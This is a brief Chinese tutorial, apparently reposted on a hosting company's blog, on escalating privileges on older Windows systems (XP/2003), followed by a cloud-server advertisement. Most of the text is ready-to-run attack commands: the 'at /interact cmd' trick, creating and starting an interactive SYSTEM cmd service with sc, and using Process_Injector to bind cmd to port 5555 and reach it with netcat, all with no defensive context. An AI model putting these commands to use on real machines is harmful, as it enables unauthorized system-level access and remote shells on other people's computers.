windows提权-创新互联

• PsExec
• at
• Process_Injector

• sc

psexec

当前用户是jh

提权之后

*at命令提权（适用于xp，2003）

at 15:05 /interact cmd

sc

创建服务(打开cmd命令窗口的服务)

sc Create systemcmd binPath= "cmd /K start" type= own type= interact

启动服务刚才创建的服务

sc start systemcmd

process_injector

列出当前的所有进程

pinjector.exe -l

选择要提权成的用户，进行进程注入

pinjector.exe -p 732 cmd 5555   #服务端实现进程注入
nc -nv 10.10.10.19 5555    # 客户端连接服务端

另外有需要云服务器可以了解下创新互联scvps.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。